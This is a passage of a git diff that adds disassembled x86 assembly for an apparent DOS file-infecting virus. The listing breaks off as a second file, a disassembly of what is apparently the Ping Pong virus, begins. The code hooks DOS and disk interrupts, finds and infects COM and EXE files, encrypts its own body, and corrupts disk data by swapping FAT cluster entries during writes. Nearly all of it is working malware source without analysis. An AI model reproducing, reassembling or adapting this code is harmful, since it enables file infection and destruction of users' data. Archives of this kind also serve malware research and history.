cl,1 ; Rotate +0116 41 inc cx +0117 loc_10: +0117 50 push ax +0118 B4 03 mov ah,3 +011A CD 13 int 13h ; Disk dl=drive #: ah=func a3h + ; write sectors from mem es:bx +011C FE C6 inc dh +011E 8B C7 mov ax,di +0120 3A F4 cmp dh,ah +0122 58 pop ax +0123 76 F2 jbe loc_10 ; Jump if below or = +0125 59 pop cx +0126 41 inc cx +0127 3B CE cmp cx,si +0129 76 E2 jbe loc_9 ; Jump if below or = +012B 42 inc dx +012C 4F dec di +012D F7 C7 00FF test di,0FFh +0131 75 D8 jnz loc_8 ; Jump if not zero +0133 loc_11: +0133 8C C2 mov dx,es +0135 83 C2 10 add dx,10h +0138 E8 0008 call sub_1 +013B 00 00 data_9 db 0, 0 +013D 0000 data_10 dw 0 +013F 0000 data_11 dw 0 +0141 0000 data_12 dw 0 + + ;========================================================================== + ; SUBROUTINE + ;========================================================================== + + sub_1 proc near +0143 5F pop di +0144 0E push cs +0145 1F pop ds +0146 01 55 02 add [di+2],dx +0149 03 55 04 add dx,[di+4] +014C 8E D2 mov ss,dx +014E 8B 65 06 mov sp,[di+6] +0151 06 push es +0152 1F pop ds +0153 2E: FF 2D jmp dword ptr cs:[di] + + ;========================================================================== + ; SUBROUTINE + ; INT 21 + ;========================================================================== + + +0156 9C pushf ; Push flags +0157 FA cli ; Disable interrupts +0158 50 push ax +0159 53 push bx +015A 51 push cx +015B 52 push dx +015C 56 push si +015D 57 push di +015E 1E push ds +015F 06 push es +0160 FC cld ; Clear direction +0161 0E push cs +0162 07 pop es +0163 33 C9 xor cx,cx +0165 80 FC 3E cmp ah,3Eh +0168 74 15 je loc_12 + +016A 8B F2 mov si,dx +016C BF 06BA mov di,6BAh ; +016F B1 28 mov cl,28h ; +0171 F3/ A5 rep movsw ; cx >0 Mov [si] to es:[di] +0173 93 xchg ax,bx ; +0174 B8 3D00 mov ax,3D00h +0177 CD 21 int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx +0179 93 xchg ax,bx ; +017A 73 03 jnc loc_12 ; --> +017C BB FFFF mov bx,0FFFFh ; = FFFF +017F loc_12: +017F 91 xchg ax,cx ; CX +0180 8E D8 mov ds,ax ; DS= 0 +0182 BF 06A6 mov di,6A6h ; DW INT 13 +0185 BE 004C mov si,4Ch +0188 B8 0690 mov ax,690h ; Vir INT 13 +018B 87 04 xchg ax,[si] ; Read Int 13 ofs +018D AB stosw ; Store ax to CS:[6A6] +018E 50 push ax ; Int13 Ofs -> Stack +018F 8C C0 mov ax,es +0191 87 44 02 xchg ax,[si+2] ; Read Int 13 seg +0194 AB stosw ; Store ax to es:[di] +0195 50 push ax ; Int13 Seg -> Stack + +0196 B8 0597 mov ax,597h ; Vir INT 24 +0199 87 44 44 xchg ax,[si+44h] +019C 50 push ax ; INT24 Ofs -> Stack +019D 8C C0 mov ax,es +019F 87 44 46 xchg ax,[si+46h] +01A2 50 push ax ; INT24 Seg -> Stack +01A3 1E push ds ; 0 -> Stack +01A4 56 push si ; 4C -> Stack +01A5 32 D2 xor dl,dl +01A7 B8 3302 mov ax,3302h ; DOS Services ah=function 33h +01AA CD 21 int 21h ; ctrl-break flag al=off/on +01AC 52 push dx +01AD E8 02F3 call sub_2 +01B0 72 16 jc loc_13 ; Jump if carry Set +01B2 A1 046C mov ax,word ptr ds:[46Ch] ; (0000:046C=8335h) +01B5 26: C5 75 07 lds si,dword ptr es:[di+7] ; Load 32 bit ptr +01B9 80 7C 08 02 cmp byte ptr [si+8],2 +01BD 06 push es +01BE 1F pop ds +01BF 8B 75 11 mov si,[di+11h] +01C2 96 xchg ax,si +01C3 BA 0403 mov dx,403h +01C6 B1 80 mov cl,80h +01C8 loc_13: +01C8 72 7C jc loc_22 ; Jump if carry Set +01CA 2D 07A8 sub ax,7A8h +01CD 87 45 15 xchg ax,[di+15h] +01D0 50 push ax +01D1 72 03 jc loc_14 ; Jump if carry Set +01D3 84 75 04 test dh,[di+4] +01D6 loc_14: +01D6 75 7E jnz loc_24 ; Jump if not zero +01D8 80 FD 3E cmp ch,3Eh ; '>' +01DB 75 05 jne loc_15 ; Jump if not equal +01DD BA 0002 mov dx,2 +01E0 B1 C0 mov cl,0C0h +01E2 loc_15: +01E2 22 4D 05 and cl,[di+5] +01E5 75 6F jnz loc_24 ; Jump if not zero +01E7 2E: 89 16 06B6 mov word ptr cs:[6B6h],dx ; (06B6=403h) +01EC 83 7D 13 00 cmp word ptr [di+13h],0 +01F0 75 64 jne loc_24 ; Jump if not equal +01F2 8B 45 28 mov ax,[di+28h] +01F5 3D 5845 cmp ax,5845h +01F8 74 13 je loc_16 ; Jump if equal +01FA 3D 4F43 cmp ax,4F43h +01FD 75 13 jne loc_17 ; Jump if not equal +01FF 3B 45 20 cmp ax,[di+20h] +0202 B8 4D4D mov ax,4D4Dh +0205 75 06 jnz loc_16 ; Jump if not zero +0207 3B 45 22 cmp ax,[di+22h] +020A 75 01 jne loc_16 ; Jump if not equal +020C 41 inc cx +020D loc_16: +020D 3A 45 2A cmp al,[di+2Ah] +0210 74 05 je loc_18 ; Jump if equal +0212 loc_17: +0212 80 FD 4B cmp ch,4Bh ; 'K' +0215 75 3F jne loc_24 ; Jump if not equal +0217 loc_18: +0217 51 push cx +0218 FF 75 15 push word ptr [di+15h] +021B 0E push cs +021C 1F pop ds +021D B9 0002 mov cx,2 +0220 B4 3F mov ah,3Fh ; '?' +0222 E8 02A5 call sub_6 +0225 72 13 jc loc_21 ; Jump if carry Set +0227 A1 070A mov ax,word ptr ds:[70Ah] ; (070A=0BF95h) +022A 0A C4 or al,ah +022C 75 05 jnz loc_19 ; Jump if not zero +022E E8 0294 call sub_4 +0231 72 07 jc loc_21 ; Jump if carry Set +0233 loc_19: +0233 87 F2 xchg si,dx + +0235 locloop_20: +0235 AC lodsb ; String [si] to al +0236 84 C0 test al,al +0238 E1 FB loopz locloop_20 ; Loop if zf=1, cx>0 +023A loc_21: +023A 58 pop ax +023B 59 pop cx +023C 06 push es +023D 1F pop ds +023E 72 16 jc loc_24 ; Jump if carry Set +0240 75 07 jnz loc_23 ; Jump if not zero +0242 41 inc cx +0243 92 xchg ax,dx +0244 EB 5F jmp short loc_29 +0246 loc_22: +0246 E9 0154 jmp loc_37 +0249 loc_23: +0249 84 C9 test cl,cl +024B 75 09 jnz loc_24 ; Jump if not zero +024D 8A 45 12 mov al,[di+12h] +0250 F6 D0 not al +0252 A8 38 test al,38h ; '8' +0254 75 3D jnz loc_28 ; Jump if not zero +0256 loc_24: +0256 8F 45 15 pop word ptr [di+15h] +0259 80 FD 4B cmp ch,4Bh ; 'K' +025C 75 E8 jne loc_22 ; Jump if not equal +025E B4 3E mov ah,3Eh ; '>' +0260 CD 21 int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle +0262 0E push cs +0263 1F pop ds +0264 0E push cs +0265 07 pop es +0266 BE 06BA mov si,6BAh +0269 8B FE mov di,si +026B B4 60 mov ah,60h ; '`' +026D CD 21 int 21h ; DOS Services ah=function 60h +026F 72 1F jc loc_27 ; Jump if carry Set +0271 84 C0 test al,al +0273 75 1B jnz loc_27 ; Jump if not zero +0275 loc_25: +0275 AC lodsb ; String [si] to al +0276 3C 5C cmp al,5Ch ; '\' +0278 75 02 jne loc_26 ; Jump if not equal +027A 8B FE mov di,si +027C loc_26: +027C 84 C0 test al,al +027E 75 F5 jnz loc_25 ; Jump if not zero +0280 57 push di +0281 B8 2E2A mov ax,2E2Ah +0284 AB stosw ; Store ax to es:[di] +0285 A1 01F6 mov ax,word ptr ds:[1F6h] ; (01F6=5845h) +0288 AB stosw ; Store ax to es:[di] +0289 32 E4 xor ah,ah ; Zero register +028B AB stosw ; Store ax to es:[di] +028C 5F pop di +028D E9 0132 jmp loc_39 +0290 loc_27: +0290 E9 010E jmp loc_38 +0293 loc_28: +0293 33 C0 xor ax,ax ; Zero register +0295 92 xchg ax,dx +0296 86 C4 xchg al,ah +0298 50 push ax +0299 8B 75 11 mov si,[di+11h] +029C 83 EE 03 sub si,3 +029F F7 F6 div si ; ax,dx rem=dx:ax/reg +02A1 83 C2 03 add dx,3 +02A4 58 pop ax +02A5 loc_29: +02A5 FF 75 05 push word ptr [di+5] +02A8 51 push cx +02A9 52 push dx +02AA 53 push bx +02AB 33 D2 xor dx,dx ; Zero register +02AD 89 55 15 mov [di+15h],dx +02B0 0E push cs +02B1 1F pop ds +02B2 B9 0090 mov cx,90h +02B5 F7 F1 div cx ; ax,dx rem=dx:ax/reg +02B7 E8 0236 call sub_9 +02BA A2 0015 mov data_2,al ; (0015=7Dh) +02BD E8 0230 call sub_9 +02C0 A2 001E mov data_3,al ; (001E=7Dh) +02C3 92 xchg ax,dx +02C4 B2 06 mov dl,6 +02C6 F6 F2 div dl ; al, ah rem = ax/reg +02C8 BE 070A mov si,70Ah +02CB BB 051D mov bx,51Dh +02CE E8 0201 call sub_8 +02D1 88 04 mov [si],al +02D3 46 inc si +02D4 BB 0520 mov bx,520h +02D7 E8 01F6 call sub_7 +02DA BB 0523 mov bx,523h +02DD E8 01F0 call sub_7 +02E0 BB 0709 mov bx,709h +02E3 BE 04F9 mov si,4F9h +02E6 B9 0024 mov cx,24h + +02E9 locloop_30: +02E9 AC lodsb ; String [si] to al +02EA 84 C0 test al,al +02EC 74 1F jz loc_32 ; Jump if zero +02EE 50 push ax +02EF 24 07 and al,7 +02F1 D7 xlat [bx] ; al=[al+[bx]] table +02F2 B4 F8 mov ah,0F8h +02F4 92 xchg ax,dx +02F5 58 pop ax +02F6 51 push cx +02F7 B1 03 mov cl,3 +02F9 D2 E8 shr al,cl ; Shift w/zeros fill +02FB 74 07 jz loc_31 ; Jump if zero +02FD D7 xlat [bx] ; al=[al+[bx]] table +02FE D2 E0 shl al,cl ; Shift w/zeros fill +0300 0A D0 or dl,al +0302 B6 C0 mov dh,0C0h +0304 loc_31: +0304 59 pop cx +0305 20 B4 FB06 and byte ptr ds:[0FB06h][si],dh ; (FB06=0FFh) +0309 08 94 FB06 or byte ptr ds:[0FB06h][si],dl ; (FB06=0FFh) +030D loc_32: +030D E2 DA loop locloop_30 ; Loop if cx > 0 + +030F 5B pop bx +0310 BA 00CA mov dx,0CAh +0313 B1 03 mov cl,3 +0315 B4 3F mov ah,3Fh ; '?' +0317 CD 21 int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx +0319 58 pop ax +031A 59 pop cx +031B 72 73 jc loc_36 ; Jump if carry Set +031D 26: 89 45 15 mov es:[di+15h],ax +0321 2D 0003 sub ax,3 +0324 A3 00D0 mov word ptr ds:[0D0h],ax ; (00D0=0F85h) +0327 A1 00CA mov ax,data_5 ; (00CA=34BCh) +032A E8 018F call sub_3 +032D 74 61 jz loc_36 ; Jump if zero +032F 84 C9 test cl,cl +0331 75 25 jnz loc_33 ; Jump if not zero +0333 E8 018F call sub_4 +0336 72 58 jc loc_36 ; Jump if carry Set +0338 91 xchg ax,cx +0339 26: 03 45 11 add ax,es:[di+11h] +033D 2B C1 sub ax,cx +033F 26: 89 45 15 mov es:[di+15h],ax +0343 A3 00CD mov word ptr ds:[0CDh],ax ; (00CD=1630h) +0346 B4 40 mov ah,40h ; '@' +0348 CD 21 int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx +034A 3B C1 cmp ax,cx +034C 75 42 jne loc_36 ; Jump if not equal +034E A1 00D0 mov ax,word ptr ds:[0D0h] ; (00D0=0F85h) +0351 05 0003 add ax,3 +0354 26: 89 45 15 mov es:[di+15h],ax +0358 loc_33: +0358 33 D2 xor dx,dx ; Zero register +035A 8B F2 mov si,dx +035C B9 0353 mov cx,353h + +035F locloop_34: +035F AD lodsw ; String [si] to ax +0360 81 FE 0022 cmp si,22h + nop ; Fixup for MASM (M) +0364 72 06 jb loc_35 ; Jump if below +0366 33 06 06B1 xor ax,word ptr ds:[6B1h] ; (06B1=0FFF0h) +036A 33 D0 xor dx,ax +036C loc_35: +036C 89 84 0708 mov word ptr ds:[708h][si],ax ; (0708=0) +0370 E2 ED loop locloop_34 ; Loop if cx > 0 + +0372 33 16 06B1 xor dx,word ptr ds:[6B1h] ; (06B1=0FFF0h) +0376 31 94 012A xor word ptr ds:[12Ah][si],dx ; (012A=42E2h) +037A B4 40 mov ah,40h ; '@' +037C E8 0148 call sub_5 +037F 33 C8 xor cx,ax +0381 75 0D jnz loc_36 ; Jump if not zero +0383 26: 89 4D 15 mov es:[di+15h],cx +0387 BA 00CF mov dx,0CFh +038A B1 03 mov cl,3 +038C B4 40 mov ah,40h ; '@' +038E CD 21 int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx +0390 loc_36: +0390 58 pop ax +0391 0A C4 or al,ah +0393 24 40 and al,40h ; '@' +0395 26: 08 45 06 or es:[di+6],al +0399 26: 8F 45 15 pop word ptr es:[di+15h] +039D loc_37: +039D B4 3E mov ah,3Eh ; '>' +039F CD 21 int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle +03A1 loc_38: +03A1 5A pop dx +03A2 B8 3301 mov ax,3301h +03A5 CD 21 int 21h ; DOS Services ah=function 33h + ; ctrl-break flag al=off/on +03A7 5E pop si +03A8 1F pop ds +03A9 8F 44 46 pop word ptr [si+46h] +03AC 8F 44 44 pop word ptr [si+44h] +03AF 8F 44 02 pop word ptr [si+2] +03B2 8F 04 pop word ptr [si] +03B4 07 pop es +03B5 1F pop ds +03B6 5F pop di +03B7 5E pop si +03B8 5A pop dx +03B9 59 pop cx +03BA 5B pop bx +03BB 58 pop ax +03BC 9D popf ; Pop flags +03BD EA 0BCD:20B4 jmp far ptr loc_2 +03C2 loc_39: +03C2 B4 2F mov ah,2Fh ; '/' +03C4 CD 21 int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx +03C6 06 push es +03C7 53 push bx +03C8 BA 070A mov dx,70Ah +03CB B4 1A mov ah,1Ah +03CD CD 21 int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx +03CF B9 0006 mov cx,6 +03D2 BA 06BA mov dx,6BAh +03D5 B4 4E mov ah,4Eh ; 'N' +03D7 CD 21 int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx +03D9 72 10 jc loc_41 ; Jump if carry Set +03DB loc_40: +03DB A0 0720 mov al,byte ptr ds:[720h] ; (0720=0F8h) +03DE 24 1F and al,1Fh +03E0 3C 1E cmp al,1Eh +03E2 F8 clc ; Clear carry flag +03E3 75 06 jnz loc_41 ; Jump if not zero +03E5 B4 4F mov ah,4Fh ; 'O' +03E7 CD 21 int 21h ; DOS Services ah=function 4Fh + ; find next filename match +03E9 73 F0 jnc loc_40 ; Jump if carry=0 +03EB loc_41: +03EB 5A pop dx +03EC 1F pop ds +03ED 9C pushf ; Push flags +03EE B4 1A mov ah,1Ah +03F0 CD 21 int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx +03F2 9D popf ; Pop flags +03F3 72 AC jc loc_38 ; Jump if carry Set +03F5 0E push cs +03F6 1F pop ds +03F7 0E push cs +03F8 07 pop es +03F9 BE 0728 mov si,728h +03FC 41 inc cx +03FD F3/ A5 rep movsw ; Rep when cx >0 Mov [si] to es:[di] +03FF BA 06BA mov dx,6BAh +0402 B8 3D00 mov ax,3D00h +0405 CD 21 int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx +0407 72 98 jc loc_38 ; Jump if carry Set +0409 93 xchg ax,bx +040A E8 0096 call sub_2 +040D 72 8E jc loc_37 ; Jump if carry Set +040F 83 C7 15 add di,15h +0412 B1 18 mov cl,18h +0414 B4 3F mov ah,3Fh ; '?' +0416 CD 21 int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx +0418 3B C1 cmp ax,cx +041A loc_42: +041A 75 81 jne loc_37 ; Jump if not equal +041C 8B F2 mov si,dx +041E AD lodsw ; String [si] to ax +041F E8 009A call sub_3 +0422 75 F6 jnz loc_42 ; Jump if not zero +0424 26: 80 4D F8 1F or byte ptr es:[di-8],1Fh +0429 26: FE 4D F8 dec byte ptr es:[di-8] +042D B1 02 mov cl,2 + +042F locloop_43: +042F 92 xchg ax,dx +0430 26: 8B 45 FC mov ax,es:[di-4] +0434 AB stosw ; Store ax to es:[di] +0435 E2 F8 loop locloop_43 ; Loop if cx > 0 +0437 83 7C 0A FF cmp word ptr [si+0Ah],0FFFFh +043B 75 59 jne loc_45 ; Jump if not equal +043D B1 0C mov cl,0Ch +043F D3 E0 shl ax,cl ; Shift w/zeros fill +0441 2B 44 06 sub ax,[si+6] +0444 87 54 12 xchg dx,[si+12h] +0447 87 44 14 xchg ax,[si+14h] +044A 89 16 013B mov word ptr data_9,dx ; (013B=0) +044E A3 013D mov data_10,ax ; (013D=0) +0451 B8 FFF0 mov ax,0FFF0h +0454 87 44 0C xchg ax,[si+0Ch] +0457 A3 013F mov data_11,ax ; (013F=0) +045A B8 0100 mov ax,100h +045D 87 44 0E xchg ax,[si+0Eh] +0460 A3 0141 mov data_12,ax ; (0141=0) +0463 BA 00D2 mov dx,0D2h +0466 B1 84 mov cl,84h +0468 B4 40 mov ah,40h ; '@' +046A CD 21 int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx +046C C133 data_15 dw 0C133h +046E 75 26 jnz loc_45 ; Jump if not zero +0470 83 EF 04 sub di,4 +0473 AB stosw ; Store ax to es:[di] +0474 AB stosw ; Store ax to es:[di] +0475 26: 8B 45 F8 mov ax,es:[di-8] +0479 26: 8B 55 FA mov dx,es:[di-6] +047D B9 0200 mov cx,200h +0480 F7 F1 div cx ; ax,dx rem=dx:ax/reg +0482 85 D2 test dx,dx +0484 74 01 jz loc_44 ; Jump if zero +0486 40 inc ax +0487 loc_44: +0487 89 14 mov [si],dx +0489 89 44 02 mov [si+2],ax +048C B9 0018 mov cx,18h +048F BA 06BA mov dx,6BAh +0492 B4 40 mov ah,40h ; '@' +0494 CD 21 int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx +0496 loc_45: +0496 26: 80 65 EC BF and byte ptr es:[di-14h],0BFh +049B 26: 80 4D ED 40 or byte ptr es:[di-13h],40h ; '@' +04A0 E9 FEFA jmp loc_37 + sub_1 endp + + + ;========================================================================== + ; SUBROUTINE + ;========================================================================== + + sub_2 proc near +04A3 B8 1220 mov ax,1220h +04A6 CD 2F int 2Fh ; Multiplex/Spooler al=func 20h +04A8 72 11 jc loc_ret_46 ; Jump if carry Set +04AA 53 push bx +04AB 26: 8A 1D mov bl,es:[di] +04AE B8 1216 mov ax,1216h +04B1 CD 2F int 2Fh ; Multiplex/Spooler al=func 16h +04B3 5B pop bx +04B4 72 05 jc loc_ret_46 ; Jump if carry Set +04B6 26: C6 45 02 02 mov byte ptr es:[di+2],2 + +04BB loc_ret_46: +04BB C3 retn + sub_2 endp + + + ;========================================================================== + ; SUBROUTINE + ;========================================================================== + + sub_3 proc near +04BC 3D 5A4D cmp ax,5A4Dh +04BF 74 03 je loc_ret_47 ; Jump if equal +04C1 3D 4D5A cmp ax,4D5Ah + +04C4 loc_ret_47: +04C4 C3 retn + sub_3 endp + + + ;========================================================================== + ; SUBROUTINE + ;========================================================================== + + sub_4 proc near +04C5 B4 3F mov ah,3Fh ; '?' + + ;==== External Entry into Subroutine ====================================== + + sub_5: +04C7 B9 06A8 mov cx,6A8h + + ;==== External Entry into Subroutine ====================================== + + sub_6: +04CA BA 070A mov dx,70Ah +04CD CD 21 int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx +04CF C3 retn + sub_4 endp + + + ;========================================================================== + ; SUBROUTINE + ;========================================================================== + + sub_7 proc near +04D0 8A C4 mov al,ah + + ;==== External Entry into Subroutine ====================================== + + sub_8: +04D2 D0 E8 shr al,1 ; Shift w/zeros fill +04D4 8A D0 mov dl,al +04D6 50 push ax +04D7 14 01 adc al,1 +04D9 3C 03 cmp al,3 +04DB 72 02 jb loc_48 ; Jump if below +04DD 2C 03 sub al,3 +04DF loc_48: +04DF 0A D0 or dl,al +04E1 D7 xlat [bx] ; al=[al+[bx]] table +04E2 88 04 mov [si],al +04E4 46 inc si +04E5 58 pop ax +04E6 D7 xlat [bx] ; al=[al+[bx]] table +04E7 88 04 mov [si],al +04E9 46 inc si +04EA 8A C2 mov al,dl +04EC 34 03 xor al,3 +04EE D7 xlat [bx] ; al=[al+[bx]] table +04EF C3 retn + sub_7 endp + + + ;========================================================================== + ; SUBROUTINE + ;========================================================================== + + sub_9 proc near +04F0 D1 EA shr dx,1 ; Shift w/zeros fill +04F2 B0 79 mov al,79h ; 'y' +04F4 73 02 jnc loc_ret_49 ; Jump if carry=0 +04F6 0C 04 or al,4 + +04F8 loc_ret_49: +04F8 C3 retn + sub_9 endp + +04F9 00 04 add [si],al +04FB 00 00 add [bx+si],al +04FD 04 00 add al,0 +04FF 26: 00 2C add es:[si],ch +0502 00 09 add [bx+di],cl +0504 02 00 add al,[bx+si] +0506 00 02 add [bp+si],al +0508 00 0E 0400 add byte ptr ds:[400h],cl ; (0400=0BAh) +050C 04 02 add al,2 +050E 00 00 add [bx+si],al +0510 03 00 add ax,[bx+si] +0512 0F db 0Fh +0513 00 05 add [di],al +0515 05 0003 add ax,3 +0518 00 00 add [bx+si],al +051A 04 00 add al,0 +051C 01 00 add [bx+si],ax +051E 01 02 add [bp+si],ax +0520 03 06 0707 add ax,word ptr ds:[707h] ; (0707=0) +0524 04 05 add al,5 + + ;========================================================================== + ; SUBROUTINE + ; INT 2A + ;========================================================================== +0526 56 push si +0527 57 push di +0528 55 push bp +0529 1E push ds +052A 06 push es +052B 8B EC mov bp,sp +052D 80 FC 82 cmp ah,82h +0530 75 60 jne loc_53 ; Jump if not equal +0532 8C D8 mov ax,ds +0534 3B 46 0C cmp ax,[bp+0Ch] +0537 75 59 jne loc_53 ; Jump if not equal +0539 8B 76 0A mov si,[bp+0Ah] +053C AC lodsb ; String [si] to al +053D 3C CC cmp al,0CCh +053F 74 51 je loc_53 ; Jump if equal +0541 B8 1218 mov ax,1218h +0544 CD 2F int 2Fh ; Multiplex/Spooler al=func 18h +0546 C4 7C 12 les di,dword ptr [si+12h] ; Load 32 bit ptr +0549 26: 80 3D CC cmp byte ptr es:[di],0CCh +054D 74 43 je loc_53 ; Jump if equal +054F 8C C8 mov ax,cs +0551 3B 44 14 cmp ax,[si+14h] +0554 74 3C je loc_53 ; Jump if equal +0556 AD lodsw ; String [si] to ax +0557 80 EC 3D sub ah,3Dh ; '=' +055A 74 1C jz loc_51 ; Jump if zero +055C FE CC dec ah +055E 74 16 jz loc_50 ; Jump if zero +0560 2D 0D00 sub ax,0D00h +0563 75 2D jnz loc_53 ; Jump if not zero +0565 26: 81 7D FE 21CD cmp word ptr es:[di-2],21CDh +056B 75 25 jne loc_53 ; Jump if not equal +056D 40 inc ax +056E 2E: 30 06 00C5 xor byte ptr cs:[0C5h],al ; (00C5=1) +0573 75 1D jnz loc_53 ; Jump if not zero +0575 F9 stc ; Set carry flag +0576 loc_50: +0576 B3 30 mov bl,30h ; '0' +0578 loc_51: +0578 0E push cs +0579 07 pop es +057A BF 03BE mov di,3BEh +057D B8 0156 mov ax,156h +0580 87 44 10 xchg ax,[si+10h] +0583 73 02 jnc loc_52 ; Jump if carry=0 +0585 48 dec ax +0586 48 dec ax +0587 loc_52: +0587 AB stosw ; Store ax to es:[di] +0588 8C C8 mov ax,cs +058A 87 44 12 xchg ax,[si+12h] +058D AB stosw ; Store ax to es:[di] +058E 80 64 14 FE and byte ptr [si+14h],0FEh +0592 loc_53: +0592 07 pop es +0593 1F pop ds +0594 5D pop bp +0595 5F pop di +0596 5E pop si + + ;========================================================================== + ; SUBROUTINE + ; INT 2A + ;========================================================================== +0597 B0 03 mov al,3 +0599 CF iret ; Interrupt return + + +059A 2E: 80 3E 06B3 00 cmp byte ptr cs:[6B3h],0 ; (06B3=0) +05A0 74 12 je loc_55 ; Jump if equal +05A2 41 inc cx +05A3 75 0E jnz loc_54 ; Jump if not zero +05A5 32 E4 xor ah,ah ; Zero register +05A7 2E: 86 26 06B3 xchg ah,byte ptr cs:[6B3h] ; (06B3=0) +05AC F5 cmc ; Complement carry +05AD 2E: 8B 0E 06B8 mov cx,word ptr cs:[6B8h] ; (06B8=6) +05B2 41 inc cx +05B3 loc_54: +05B3 49 dec cx +05B4 loc_55: +05B4 9C pushf ; Push flags +05B5 50 push ax +05B6 9C pushf ; Push flags +05B7 0E push cs +05B8 E8 00EF call $+0F2h +05BB 73 07 jnc loc_56 ; Jump if carry=0 +05BD 83 C4 04 add sp,4 +05C0 F9 stc ; Set carry flag +05C1 E9 00C8 jmp loc_70 +05C4 loc_56: +05C4 58 pop ax +05C5 80 EC 02 sub ah,2 +05C8 80 FC 02 cmp ah,2 +05CB 73 79 jae loc_65 ; Jump if above or = +05CD 53 push bx +05CE 51 push cx +05CF 56 push si +05D0 1E push ds +05D1 loc_57: +05D1 50 push ax +05D2 53 push bx +05D3 51 push cx +05D4 52 push dx +05D5 33 D2 xor dx,dx ; Zero register +05D7 8E DA mov ds,dx +05D9 B9 0100 mov cx,100h +05DC 8B F3 mov si,bx +05DE 56 push si + +05DF locloop_58: +05DF 26: AD lods word ptr es:[si] ; String [si] to ax +05E1 48 dec ax +05E2 3D FFF5 cmp ax,0FFF5h +05E5 73 09 jae loc_60 ; Jump if above or = +05E7 3B C3 cmp ax,bx +05E9 75 02 jne loc_59 ; Jump if not equal +05EB FE C6 inc dh +05ED loc_59: +05ED 93 xchg ax,bx +05EE 42 inc dx +05EF 43 inc bx +05F0 loc_60: +05F0 E2 ED loop locloop_58 ; Loop if cx > 0 + +05F2 5E pop si +05F3 D0 EA shr dl,1 ; Shift w/zeros fill +05F5 F8 clc ; Clear carry flag +05F6 74 36 jz loc_62 ; Jump if zero +05F8 3A D6 cmp dl,dh +05FA 73 32 jae loc_62 ; Jump if above or = +05FC 0E push cs +05FD 1F pop ds +05FE F8 clc ; Clear carry flag +05FF BB 06B4 mov bx,6B4h +0602 FF 07 inc word ptr [bx] +0604 75 28 jnz loc_62 ; Jump if not zero +0606 FF 47 9C inc word ptr [bx-64h] +0609 8A 47 FD mov al,[bx-3] +060C 04 F8 add al,0F8h +060E 73 02 jnc loc_61 ; Jump if carry=0 +0610 B0 FF mov al,0FFh +0612 loc_61: +0612 88 47 01 mov [bx+1],al +0615 A1 046C mov ax,data_15 ; (046C=0C133h) +0618 33 DB xor bx,bx ; Zero register +061A 86 DC xchg bl,ah +061C 03 DB add bx,bx +061E 03 DE add bx,si +0620 03 C0 add ax,ax +0622 03 F0 add si,ax +0624 26: 8B 07 mov ax,es:[bx] +0627 26: 87 04 xchg ax,es:[si] +062A 26: 89 07 mov es:[bx],ax +062D F9 stc ; Set carry flag +062E loc_62: +062E 5A pop dx +062F 59 pop cx +0630 5B pop bx +0631 73 08 jnc loc_63 ; Jump if carry=0 +0633 B8 0301 mov ax,301h +0636 9C pushf ; Push flags +0637 0E push cs +0638 E8 006F call $+72h +063B loc_63: +063B 58 pop ax +063C 72 04 jc loc_64 ; Jump if carry Set +063E FE C8 dec al +0640 75 8F jnz loc_57 ; Jump if not zero +0642 loc_64: +0642 1F pop ds +0643 5E pop si +0644 59 pop cx +0645 5B pop bx +0646 loc_65: +0646 58 pop ax +0647 D1 E8 shr ax,1 ; Shift w/zeros fill +0649 73 3F jnc loc_69 ; Jump if carry=0 +064B B8 0100 mov ax,100h +064E EB 3C jmp short loc_70 +0650 00 00 add [bx+si],al +0652 loc_66: +0652 2E: FF 36 06AF push word ptr cs:[6AFh] ; (06AF=0F086h) +0657 9D popf ; Pop flags +0658 74 50 jz $+52h ; Jump if zero +065A 2E: 88 26 06B3 mov byte ptr cs:[6B3h],ah ; (06B3=0) +065F 2E: 89 0E 06B8 mov word ptr cs:[6B8h],cx ; (06B8=6) +0664 2E: 3A 26 06B6 cmp ah,byte ptr cs:[6B6h] ; (06B6=3) +0669 75 03 jne loc_67 ; Jump if not equal +066B 80 F4 01 xor ah,1 +066E loc_67: +066E 51 push cx +066F B9 FFFF mov cx,0FFFFh +0672 9C pushf ; Push flags +0673 0E push cs +0674 E8 002E call sub_10 +0677 59 pop cx +0678 9C pushf ; Push flags +0679 2E: 80 3E 06B3 00 cmp byte ptr cs:[6B3h],0 ; (06B3=0) +067F loc_68: +067F 75 FE jne loc_68 ; Jump if not equal +0681 9D popf ; Pop flags +0682 73 08 jnc loc_70 ; Jump if carry=0 +0684 80 FC 01 cmp ah,1 +0687 F9 stc ; Set carry flag +0688 75 02 jnz loc_70 ; Jump if not zero +068A loc_69: +068A 33 C0 xor ax,ax ; Zero register +068C loc_70: +068C FB sti ; Enable interrupts +068D CA 0002 retf 2 ; Return far + + ;========================================================================== + ; SUBROUTINE + ; INT 13h + ;========================================================================== + +0690 2E: 3A 26 06B7 cmp ah,byte ptr cs:[6B7h] ; (06B7=4) +0695 74 F3 je loc_69 ; Jump if equal +0697 84 E4 test ah,ah +0699 74 EF jz loc_69 ; Jump if zero +069B 80 FC 01 cmp ah,1 +069E 74 05 je loc_71 ; Jump if equal +06A0 80 FC 05 cmp ah,5 +06A3 72 AD jb loc_66 ; Jump if below + + sub_10 proc near +06A5 loc_71: +06A5 EA 0070:1001 jmp far ptr loc_1 ; ORG INT 13 + sub_10 endp + + + + + + + + \ No newline at end of file diff --git a/p/PINGPONG.ASM b/p/PINGPONG.ASM new file mode 100755 index 0000000..10778bd --- /dev/null +++ b/p/PINGPONG.ASM @@ -0,0 +1,606 @@ +; Advanced Fullscreen Disassembler v2.11 +; Copyright (C) by Rumen Gerasimov (GERISOFT), 1987, 1988 +; +; First listing: without DATA segment +; +; Segment value: 0000, length: 0200 